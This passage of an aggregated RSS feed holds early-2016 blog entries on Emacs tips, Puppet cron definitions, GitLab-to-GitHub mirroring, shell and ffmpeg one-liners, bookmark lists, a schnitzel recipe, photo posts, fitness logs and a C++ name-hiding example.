Just calm down a bit. Don&amp;rsquo;t assume ownership over my attention. If I like what&amp;rsquo;s happening, I&amp;rsquo;ll stay.&lt;/p&gt;</description><author>Blogs on Michail Rybakov</author><pubDate>Fri, 05 Feb 2016 16:07:46 GMT</pubDate><guid isPermaLink="true">https://rybakov.com/blog/pushy-videos/</guid></item><item><title>[Fiction] Kolmogorov's AI</title><link>https://www.devever.net/~hl/fi/kolmogorov</link><description>&lt;p&gt;&lt;em&gt;This is a short science fiction story.&lt;/em&gt;&lt;/p&gt;</description><author>devever.net/~hl</author><pubDate>Fri, 05 Feb 2016 02:00:00 GMT</pubDate><guid isPermaLink="true">https://www.devever.net/~hl/fi/kolmogorov</guid></item><item><title>Puppet: Evaluating defined types for each element in an array in a non-brittle way</title><link>https://manuel.kiessling.net/2016/02/04/puppet-evaluating-defined-types-for-each-element-in-an-array-in-a-non-brittle-way/</link><description>In one of the JourneyMonitor puppet manifests, we have a defined type that allows us to dynamically create cronjob files on target machines:  define createCronjobFile { file { "/etc/cron.d/journeymonitor-${name}": owner =&amp;gt; "root", group =&amp;gt; "root", mode =&amp;gt; "0644", content =&amp;gt; template("cronjobs/etc/cron.d/journeymonitor-${name}.erb"), } } 
 Let’s assume that we have a system where we want to end up having cronjobs /etc/cron.d/journeymonitor-foo and /etc/cron.d/journeymonitor-bar.  This is achieved by defining an array in Hiera like this:  cronjobs: - foo - bar</description><author>Home on The Log Book of Manuel Kießling</author><pubDate>Thu, 04 Feb 2016 17:13:00 GMT</pubDate><guid isPermaLink="true">https://manuel.kiessling.net/2016/02/04/puppet-evaluating-defined-types-for-each-element-in-an-array-in-a-non-brittle-way/</guid></item><item><title/><link>https://rybakov.com/blog/the-walking/</link><description>&lt;div class="video-wrapper"&gt;
  &lt;video class="looped  " controls="controls" id="walking" loop="true" poster="/video/walking/walking.jpg"&gt;
      &lt;source src="../video/walking/walking.mp4" type="video/mp4" /&gt;
  &lt;/video&gt;
  &lt;div class="videobuffering" id="walkingbuffering"&gt;&lt;/div&gt;
  &lt;div class="videopaused" id="walkingpaused"&gt;&lt;/div&gt;
&lt;/div&gt;</description><author>Blogs on Michail Rybakov</author><pubDate>Thu, 04 Feb 2016 16:07:46 GMT</pubDate><guid isPermaLink="true">https://rybakov.com/blog/the-walking/</guid></item><item><title>Entering accents in Emacs</title><link>https://xenodium.com/entering-accents-in-emacs</link><description>&lt;p&gt;Via Irreal's &lt;a href="http://irreal.org/blog/?p=4945"&gt;Entering Accented Characters in Emacs&lt;/a&gt;, a reminder on how to enter accents using &lt;strong&gt;C-x 8&lt;/strong&gt;. For example:&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-example"&gt;C-x 8 ' A -&amp;gt; Á
&lt;/code&gt;&lt;/pre&gt;</description><author>xenodium.com @alvaro</author><pubDate>Thu, 04 Feb 2016 02:00:00 GMT</pubDate><guid isPermaLink="true">https://xenodium.com/entering-accents-in-emacs</guid></item><item><title>Really delete iPhone photos</title><link>https://xenodium.com/really-delete-iphone-photos</link><description>&lt;p&gt;After deleting photos, go to:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Albums -&amp;gt; Recently Deleted -&amp;gt; Select -&amp;gt; Delete All&lt;/p&gt;
&lt;/blockquote&gt;</description><author>xenodium.com @alvaro</author><pubDate>Thu, 04 Feb 2016 02:00:00 GMT</pubDate><guid isPermaLink="true">https://xenodium.com/really-delete-iphone-photos</guid></item><item><title>Mirroring a Gitlab project to Github</title><link>https://smcleod.net/2016/02/mirroring-a-gitlab-project-to-github/</link><description>&lt;p&gt;Let&amp;rsquo;s pretend you have a project on Gitlab called &lt;code&gt;ask-izzy&lt;/code&gt; and you want to mirror it up to Gitlab which is located at &lt;a href="https://github.com/ask-izzy/ask-izzy"&gt;https://github.com/ask-izzy/ask-izzy&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Assuming you&amp;rsquo;re running Gitlab as the default user of &lt;code&gt;git&lt;/code&gt; and that your repositories are stored in &lt;code&gt;/mnt/repositories&lt;/code&gt; you can following something similar to the following instructions:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Grant write access to Github&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Get your Gitlab install&amp;rsquo;s pubkey from the git user&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre class="chroma" tabindex="0"&gt;&lt;code class="language-shell"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;cat /home/git/.ssh/id_rsa.pub
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;On Github add this pubkey as deploy key on the repo, make sure you tick the option to allow write access.&lt;/p&gt;</description><author>smcleod.net</author><pubDate>Thu, 04 Feb 2016 02:00:00 GMT</pubDate><guid isPermaLink="true">https://smcleod.net/2016/02/mirroring-a-gitlab-project-to-github/</guid></item><item><title>Hooded vultures are mating for life</title><link>https://rybakov.com/blog/the_vultures/</link><description>&lt;figure class=""&gt;



&lt;img alt="" class="lazyload" src="../images/hiq/_P2M3719_s.jpg" /&gt;




&lt;/figure&gt;
&lt;p&gt;The couple was eating garbage on the shore when a stray dog came by and pulled some long and pinkish white thing out of the ocean. The vultures joined in; it was a feast.&lt;/p&gt;</description><author>Blogs on Michail Rybakov</author><pubDate>Wed, 03 Feb 2016 16:07:46 GMT</pubDate><guid isPermaLink="true">https://rybakov.com/blog/the_vultures/</guid></item><item><title>Vancouver travel bookmarks</title><link>https://xenodium.com/vancouver-travel-bookmarks</link><description>&lt;ul&gt;
&lt;li&gt;&lt;a href="http://www.myfiveacres.com/travel-inspiration/17-reasons-to-visit-vancouver-this-summer/"&gt;17 Reasons To Visit Vancouver This Summer&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.lonelyplanet.com/amp/articles/best-places-to-visit-in-canada"&gt;The 15 most incredible places to visit in Canada&lt;/a&gt;.&lt;/li&gt;
&lt;/ul&gt;</description><author>xenodium.com @alvaro</author><pubDate>Wed, 03 Feb 2016 02:00:00 GMT</pubDate><guid isPermaLink="true">https://xenodium.com/vancouver-travel-bookmarks</guid></item><item><title>Schnitzel recipe</title><link>https://xenodium.com/schnitzel-recipe</link><description>&lt;p&gt;Since &lt;a href="#fischers-london-yes-but"&gt;eating at Fischers's&lt;/a&gt;, I've been inclined to make Schnitzel. This is my attempt.&lt;/p&gt;
&lt;h2&gt;Ingredients&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Salt and ground black pepper.&lt;/li&gt;
&lt;li&gt;All-purpose flour.&lt;/li&gt;
&lt;li&gt;Eggs (beaten).&lt;/li&gt;
&lt;li&gt;Bread crumbs (natural).&lt;/li&gt;
&lt;li&gt;Oil.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Preparation&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Flatten the pork/chicken/veal.&lt;/li&gt;
&lt;li&gt;Season (salt and pepper).&lt;/li&gt;
&lt;li&gt;Heat pan with a generous amount of oil.&lt;/li&gt;
&lt;li&gt;Dip into flour -&amp;gt; egg -&amp;gt; bread crumbs.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Garnish&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Anchovies.&lt;/li&gt;
&lt;li&gt;Capers.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Photo&lt;/h2&gt;
&lt;p&gt;&lt;img alt="" src="https://xenodium.github.io/images/schnitzel-recipe/schnitzel.jpg" /&gt;&lt;/p&gt;</description><author>xenodium.com @alvaro</author><pubDate>Wed, 03 Feb 2016 02:00:00 GMT</pubDate><guid isPermaLink="true">https://xenodium.com/schnitzel-recipe</guid></item><item><title>Hot reloading with react and redux</title><link>https://xenodium.com/hot-reloading-with-react-and-redux</link><description>&lt;h2&gt;By Robert Knight (&lt;a href="http://twitter.com/robknight_"&gt;@robknight_&lt;/a&gt;).&lt;/h2&gt;
&lt;h2&gt;Checkout&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="http://browserify.org"&gt;Browserify&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://webpack.github.io"&gt;Webpack&lt;/a&gt; (more stable?).&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/gaearon/react-transform-hmr"&gt;React-transform-hmr&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/jchansen/reselect"&gt;Reselect&lt;/a&gt;: A redux selector for redux.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Slides&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://github.com/robertknight/hot-reloading-talk"&gt;https://github.com/robertknight/hot-reloading-talk&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</description><author>xenodium.com @alvaro</author><pubDate>Wed, 03 Feb 2016 02:00:00 GMT</pubDate><guid isPermaLink="true">https://xenodium.com/hot-reloading-with-react-and-redux</guid></item><item><title>Converting Unix epoc time to human readable date</title><link>https://xenodium.com/converting-unix-epoc-time-to-human-readable-date</link><description>&lt;p&gt;Via &lt;a href="https://twitter.com/climagic"&gt;climagic&lt;/a&gt;'s &lt;a href="https://twitter.com/climagic/status/694780560221147136"&gt;Turn a Unix epoch time back into a human readable date&lt;/a&gt;:&lt;/p&gt;
&lt;h2&gt;GNU&lt;/h2&gt;
&lt;pre&gt;&lt;code class="language-{.bash"&gt;date -d @192179700
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class="language-example"&gt;Tue Feb  3 07:15:00 GMT 1976
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;BSD/OS X&lt;/h2&gt;
&lt;pre&gt;&lt;code class="language-{.bash"&gt;date -r 192179700
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class="language-example"&gt;Tue Feb  3 07:15:00 GMT 1976
&lt;/code&gt;&lt;/pre&gt;</description><author>xenodium.com @alvaro</author><pubDate>Wed, 03 Feb 2016 02:00:00 GMT</pubDate><guid isPermaLink="true">https://xenodium.com/converting-unix-epoc-time-to-human-readable-date</guid></item><item><title>Objective-C bookmarks</title><link>https://xenodium.com/objective-c-bookmarks</link><description>&lt;ul&gt;
&lt;li&gt;&lt;a href="http://www.miqu.me/blog/2015/04/17/adopting-nullability-annotations/"&gt;Adopting Nullability Annotation&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.miqu.me/blog/2015/06/09/adopting-objectivec-generics/"&gt;Adopting Objective-C generics&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://cocoa.tumblr.com"&gt;Cocoa at Tumblr&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/uhub/awesome-objective-c"&gt;Curated list of awesome Objective-C frameworks, libraries and software&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.raywenderlich.com/66395/documenting-in-xcode-with-headerdoc-tutorial"&gt;Documenting in Xcode with HeaderDoc Tutorial&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://fuckingblocksyntax.com"&gt;How Do I Declare A Block in Objective-C?&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.objc.io/issues/13-architecture/mvvm"&gt;Introduction to MVVM&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://developer.apple.com/swift/blog/?id=25"&gt;Nullability and Objective-C&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://oleb.net/"&gt;Ole Begemann's page&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/ReactiveCocoa/ReactiveCocoa"&gt;ReactiveCocoa&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://pewpewthespells.com/blog/xcode_build_system.html"&gt;The Xcode Build System&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://iosdevtips.co/post/118711491198/avoid-retain-cycles-weak-strong"&gt;Tip: Avoid retain cycles without doing the strong to weak dance&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://medium.com/@oscarcortes/using-swift-string-enums-in-objective-c-f6683da5b92e#.4526yy6s4"&gt;Using Swift String enums in Objective-C&lt;/a&gt;.&lt;/li&gt;
&lt;/ul&gt;</description><author>xenodium.com @alvaro</author><pubDate>Wed, 03 Feb 2016 02:00:00 GMT</pubDate><guid isPermaLink="true">https://xenodium.com/objective-c-bookmarks</guid></item><item><title>Working With databinding</title><link>https://prashamhtrivedi.in/databinding.html</link><description>Databinding is a powerful tool. It not only reduces boilerplate coding but it also helps us to deliver testable code very fast. I gave a talk to my team regarding to databinding tool. Here is the slideshow and talk excerpt.</description><author>Prasham H Trivedi</author><pubDate>Wed, 03 Feb 2016 02:00:00 GMT</pubDate><guid isPermaLink="true">https://prashamhtrivedi.in/databinding.html</guid></item><item><title>Vor der Wand</title><link>https://rybakov.com/blog/red/</link><description>&lt;figure class="full"&gt;



&lt;img alt="" class="lazyload" src="../images/hiq/_P2M3782s.jpg" /&gt;




&lt;/figure&gt;</description><author>Blogs on Michail Rybakov</author><pubDate>Tue, 02 Feb 2016 16:07:46 GMT</pubDate><guid isPermaLink="true">https://rybakov.com/blog/red/</guid></item><item><title>How to parse this?</title><link>https://rjp.is/blogging/posts/how-to-parse-this-2/</link><description>In which we wonder about Jim Henson.</description><author>infrequent oscillations</author><pubDate>Tue, 02 Feb 2016 12:23:57 GMT</pubDate><guid isPermaLink="true">https://rjp.is/blogging/posts/how-to-parse-this-2/</guid></item><item><title>Timesinking bookmarks</title><link>https://xenodium.com/timesinking-bookmarks</link><description>&lt;ul&gt;
&lt;li&gt;&lt;a href="https://www.youtube.com/channel/UCsXVk37bltHxD1rDPwtNM8Q"&gt;In a Nutshell channel (YouTube)&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.reddit.com/r/oddlysatisfying"&gt;Oddly Satisfying (Subreddit)&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://anvaka.github.io/sayit"&gt;Related subreddits based on your comments&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.reddit.com/r/knolling"&gt;To knoll me is to love me (Subreddit)&lt;/a&gt;.&lt;/li&gt;
&lt;/ul&gt;</description><author>xenodium.com @alvaro</author><pubDate>Tue, 02 Feb 2016 02:00:00 GMT</pubDate><guid isPermaLink="true">https://xenodium.com/timesinking-bookmarks</guid></item><item><title>Suspend and reattach processes</title><link>https://xenodium.com/suspend-and-reattach-processes</link><description>&lt;p&gt;Via &lt;a href="https://twitter.com/climagic"&gt;climagic&lt;/a&gt;'s &lt;a href="https://twitter.com/climagic/status/694242271286431744?refsrc=email&amp;amp;s=11"&gt;Suspend and reattach a process to screen&lt;/a&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-{.bash"&gt;longcmd ; [Ctrl-Z] ; bg ; disown ; screen ; reptyr $( pidof longcmd )
&lt;/code&gt;&lt;/pre&gt;</description><author>xenodium.com @alvaro</author><pubDate>Tue, 02 Feb 2016 02:00:00 GMT</pubDate><guid isPermaLink="true">https://xenodium.com/suspend-and-reattach-processes</guid></item><item><title>Czech Republic travel bookmarks</title><link>https://xenodium.com/czech-republic-travel-bookmarks</link><description>&lt;ul&gt;
&lt;li&gt;&lt;a href="https://en.wikipedia.org/wiki/Strahov_Monastery"&gt;Strahov Monastery&lt;/a&gt;.&lt;/li&gt;
&lt;/ul&gt;</description><author>xenodium.com @alvaro</author><pubDate>Tue, 02 Feb 2016 02:00:00 GMT</pubDate><guid isPermaLink="true">https://xenodium.com/czech-republic-travel-bookmarks</guid></item><item><title>Meditation tips backlog</title><link>https://xenodium.com/meditation-tips-backlog</link><description>&lt;p&gt;[TODO]{.todo .TODO} &lt;a href="http://www.workman.com/static/realhappinessebook/"&gt;Real Happiness Audio Files&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[DONE]{.done .DONE} &lt;a href="https://www.intelligentlifemagazine.com/content/features/wanting-versus-liking"&gt;The science of craving&lt;/a&gt;.&lt;/p&gt;</description><author>xenodium.com @alvaro</author><pubDate>Tue, 02 Feb 2016 02:00:00 GMT</pubDate><guid isPermaLink="true">https://xenodium.com/meditation-tips-backlog</guid></item><item><title>Append jpegs in a video sequence</title><link>https://xenodium.com/append-jpegs-in-a-video-sequence</link><description>&lt;p&gt;Via &lt;a href="https://twitter.com/climagic"&gt;climagic&lt;/a&gt;'s &lt;a href="https://twitter.com/climagic/status/692821765110767616?refsrc=email&amp;amp;s=11"&gt;make slideshow from *.jpg&lt;/a&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-{.bash"&gt;for p in *.jpg; do
    ffmpeg -loop_input -f image2 -i $p -t 3 -r 4 -s 1080x720 -f avi - &amp;gt;&amp;gt; slides.avi;
done
&lt;/code&gt;&lt;/pre&gt;</description><author>xenodium.com @alvaro</author><pubDate>Tue, 02 Feb 2016 02:00:00 GMT</pubDate><guid isPermaLink="true">https://xenodium.com/append-jpegs-in-a-video-sequence</guid></item><item><title>Regular expressions bookmarks</title><link>https://xenodium.com/regular-expressions-bookmarks</link><description>&lt;ul&gt;
&lt;li&gt;&lt;a href="https://dev.to/emmawedekind/regex-cheat-sheet-2j2a"&gt;Regex Cheat Sheet - DEV Community&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.janmeppe.com/blog/regex-for-noobs/"&gt;Regex For Noobs (like me!) - An Illustrated Guide - Janmeppe.com&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://regex101.com/"&gt;regex101.com&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://regex101.com/"&gt;Regex101&lt;/a&gt;: Online regex tool.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://refrf.shreyasminocha.me/"&gt;Regular Expressions for Regular Folk&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://rubular.com/"&gt;Rubular: a Ruby regular expression editor&lt;/a&gt;.&lt;/li&gt;
&lt;/ul&gt;</description><author>xenodium.com @alvaro</author><pubDate>Tue, 02 Feb 2016 02:00:00 GMT</pubDate><guid isPermaLink="true">https://xenodium.com/regular-expressions-bookmarks</guid></item><item><title>Typescript bookmarks</title><link>https://xenodium.com/typescript-bookmarks</link><description>&lt;ul&gt;
&lt;li&gt;&lt;a href="https://blog.mgechev.com/2018/11/19/introduction-bazel-typescript-tutorial/"&gt;Building TypeScript Projects with Bazel (Minko Gechev's blog)&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://definitelytyped.org"&gt;DefinitelyTyped: The repository for high quality TypeScript type definitions&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/ivogabe/gulp-typescript"&gt;gulp-typescript&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.ovistoica.com/blog/2024-7-05-modern-emacs-typescript-web-tsx-config"&gt;Modern Emacs Typescript Web (React) Config with lsp-mode, treesitter, tailwind, TSX &amp;amp; more…&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/Microsoft/TypeScript/wiki/JSX"&gt;React/JSX Typescript support&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/palantir/tslint"&gt;tslint&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/Asana/typed-react"&gt;Typed-react&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://news.ycombinator.com/item?id=18975373"&gt;TypeScript Tricks: Type Guards (Hacker News)&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/TypeStrong"&gt;TypeStrong: TypeScript workflows&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/typings"&gt;Typings: The type definition manager for TypeScript&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://medium.com/react-native-training/up-and-running-with-react-native-and-typescript-8d398e910a19"&gt;Up and Running with React Native and TypeScript&lt;/a&gt;.&lt;/li&gt;
&lt;/ul&gt;</description><author>xenodium.com @alvaro</author><pubDate>Tue, 02 Feb 2016 02:00:00 GMT</pubDate><guid isPermaLink="true">https://xenodium.com/typescript-bookmarks</guid></item><item><title>Hiding HTML elements</title><link>https://xenodium.com/hiding-html-elements</link><description>&lt;p&gt;Hide with &lt;a href="https://developer.mozilla.org/en-US/docs/Web/CSS/display"&gt;display:none&lt;/a&gt; (exclude from layout) and &lt;a href="https://developer.mozilla.org/en-US/docs/Web/CSS/visibility"&gt;visibility:hidden&lt;/a&gt; (include in layout).&lt;/p&gt;</description><author>xenodium.com @alvaro</author><pubDate>Tue, 02 Feb 2016 02:00:00 GMT</pubDate><guid isPermaLink="true">https://xenodium.com/hiding-html-elements</guid></item><item><title>Jamathon 2016 #summary</title><link>https://rjp.is/blogging/posts/jamathon-2016-summary-2/</link><description>Almost a success - 27 tracks uploaded for 31 days.
All of them are in my Jamathon playlist.
One (#17) was a cheat because it didn&amp;rsquo;t involve any apps but was a recording using binaural microphones.
Favourites are marked thusly: ★
Jamathon #1: Created from a one minute recording of my bathroom fan Jamathon #2: Made with some previously recorded-with-Fieldscaper samples Jamathon #3: Samplr with various samples Jamathon #4: ★ Created from three iPhone Fieldscaper recordings of the DLR this morning Jamathon #5: I think this was mucking around with Dedalus.</description><author>infrequent oscillations</author><pubDate>Mon, 01 Feb 2016 17:02:31 GMT</pubDate><guid isPermaLink="true">https://rjp.is/blogging/posts/jamathon-2016-summary-2/</guid></item><item><title>Hinter der Wand</title><link>https://rybakov.com/blog/blue/</link><description>&lt;figure class=""&gt;



&lt;img alt="" class="lazyload" src="../images/hiq/_P2M3775s.jpg" /&gt;




&lt;/figure&gt;</description><author>Blogs on Michail Rybakov</author><pubDate>Mon, 01 Feb 2016 16:07:46 GMT</pubDate><guid isPermaLink="true">https://rybakov.com/blog/blue/</guid></item><item><title>Echo Emacs keybiding from function name</title><link>https://xenodium.com/echo-emacs-keybiding-from-function-name</link><description>&lt;p&gt;Picked up via Emacs Redux's &lt;a href="http://emacsredux.com/blog/2016/02/01/display-the-keybinding-for-a-command-with-substitute-command-keys/"&gt;Display the Keybinding for a Command With Substitute-command-keys&lt;/a&gt;, with my own example:&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-{.commonlisp"&gt;(message (substitute-command-keys &amp;quot;Press \\[ar/ox-html-export] to export org file&amp;quot;))
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class="language-example"&gt;Press &amp;lt;f6&amp;gt; to export org file
&lt;/code&gt;&lt;/pre&gt;</description><author>xenodium.com @alvaro</author><pubDate>Mon, 01 Feb 2016 02:00:00 GMT</pubDate><guid isPermaLink="true">https://xenodium.com/echo-emacs-keybiding-from-function-name</guid></item><item><title>Emacs dired for batch byte compilation</title><link>https://xenodium.com/emacs-dired-for-batch-byte-compilation</link><description>&lt;p&gt;Recently updated org-mode and started seeing an invalid function error:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Error (use-package): ob :config: Invalid function: org-babel-header-args-safe-fn&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Just learned dired enables you to mark files and byte compile via &lt;em&gt;M-x dired-do-byte-compile&lt;/em&gt;.&lt;/p&gt;</description><author>xenodium.com @alvaro</author><pubDate>Mon, 01 Feb 2016 02:00:00 GMT</pubDate><guid isPermaLink="true">https://xenodium.com/emacs-dired-for-batch-byte-compilation</guid></item><item><title>Transmission</title><link>https://june.kim/transmission/</link><author>june.kim</author><pubDate>Mon, 01 Feb 2016 02:00:00 GMT</pubDate><guid isPermaLink="true">https://june.kim/transmission/</guid></item><item><title>Janathon 2016 #summary</title><link>https://rjp.is/blogging/posts/janathon-2016-summary-2/</link><description>(All numbers from VeloViewer - a couple of days are missing from here because I only recorded them on the Fitbit, not the Garmin, which means they don&amp;rsquo;t end up in Strava.)
37 activities, 251.97km, 40:20:14 elapsed, 36:52:10 moving, 2215m elevation (421m max) 3 rides, 29.38km, 2:15:23 elapsed, 1:57:43 moving, 108m elevation (54m max) 10 runs, 103.5km, 12:21:18 elapsed, 11:46:35 moving, 1077m elevation (421m max) 24 walks, 119.08km, 25:43:32 elapsed, 23:07:36 moving, 1030m elevation (201m max)</description><author>infrequent oscillations</author><pubDate>Sun, 31 Jan 2016 23:38:58 GMT</pubDate><guid isPermaLink="true">https://rjp.is/blogging/posts/janathon-2016-summary-2/</guid></item><item><title>Janathon 2016 #31</title><link>https://rjp.is/blogging/posts/janathon-2016-31-2/</link><description>Yes! Survived! Finished! 31/31!
Today was recovery from Cakeathon by way of cycling from St. Pancras to Peckham Rye (I got lost again) and then walking home from there.
[Cycling] [Walking]
(Janathon summary in the next post)</description><author>infrequent oscillations</author><pubDate>Sun, 31 Jan 2016 22:58:45 GMT</pubDate><guid isPermaLink="true">https://rjp.is/blogging/posts/janathon-2016-31-2/</guid></item><item><title>Surprises with name hiding in C++</title><link>https://bastian.rieck.me/blog/2016/name_hiding_cxx/</link><description>&lt;p&gt;Again, a &lt;em&gt;tale from the trenches&lt;/em&gt;, i.e. the course on C++ programming
taught by my colleague &lt;a href="http://www.iwr.uni-heidelberg.de/groups/viscomp/people/sadlo/"&gt;Filip
Sadlo&lt;/a&gt;.
This time, it is about the surprises that occur with name hiding in C++.
Take the following example of a simple class hierarchy. No virtual
functions, no funny stuff going on:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre class="chroma" tabindex="0"&gt;&lt;code class="language-cpp"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;A&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;public&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;  &lt;span class="kt"&gt;void&lt;/span&gt; &lt;span class="n"&gt;a&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;};&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;B&lt;/span&gt; &lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="k"&gt;public&lt;/span&gt; &lt;span class="n"&gt;A&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;public&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;  &lt;span class="kt"&gt;void&lt;/span&gt; &lt;span class="n"&gt;a&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;};&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="nf"&gt;main&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;  &lt;span class="n"&gt;B&lt;/span&gt; &lt;span class="n"&gt;b&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;  &lt;span class="n"&gt;b&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;a&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;This code looks very innocent—but it does not compile. The
compiler complains that there is no matching function for the call. The
output of &lt;code&gt;g++&lt;/code&gt; (version 5.3.0) is rather terse:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;foo.cc: In function ‘int main()’:
foo.cc:16:7: error: no matching function for call to ‘B::a()’
   b.a();
       ^
foo.cc:10:8: note: candidate: void B::a(int)
   void a(int) {}
        ^
foo.cc:10:8: note:   candidate expects 1 argument, 0 provided
